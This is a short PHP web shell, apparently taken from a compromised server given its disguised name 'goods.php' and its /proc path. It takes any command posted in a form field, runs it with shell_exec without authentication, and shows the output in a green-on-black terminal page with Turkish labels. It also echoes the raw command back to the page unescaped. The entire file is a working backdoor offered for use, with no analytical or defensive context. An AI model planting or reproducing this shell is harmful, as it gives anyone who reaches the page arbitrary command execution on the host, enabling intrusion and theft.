File: //proc/thread-self/root/proc/thread-self/cwd/goods.php
<?php
// simple-cmd.php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
$output = shell_exec($cmd . ' 2>&1');
if ($output === null) {
$output = "Komut çalıştırılamadı veya çıktı yok.";
}
echo "<pre style='background:#000; color:#0f0; padding:10px;'>C:\>{$cmd}n{$output}</pre>";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Simple CMD</title>
<style>
body { background: black; color: #0f0; font-family: monospace; }
pre { margin: 0; }
form { display: flex; }
input { background: black; color: #0f0; border: 1px solid #0f0; padding: 5px; font-family: monospace; flex: 1; }
button { background: #0f0; color: black; border: none; padding: 5px 10px; cursor: pointer; }
</style>
</head>
<body>
<h2>PHP CMD</h2>
<div id="output">
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>
<?= isset($output) ? "<pre>C:\>{$_POST['cmd']}n$output</pre>" : '' ?>
<?php endif; ?>
</div>
<form method="post">
<span>C:></span>
<input type="text" name="cmd" autofocus>
<button type="submit">Çalıştır</button>
</form>
</body>
</html>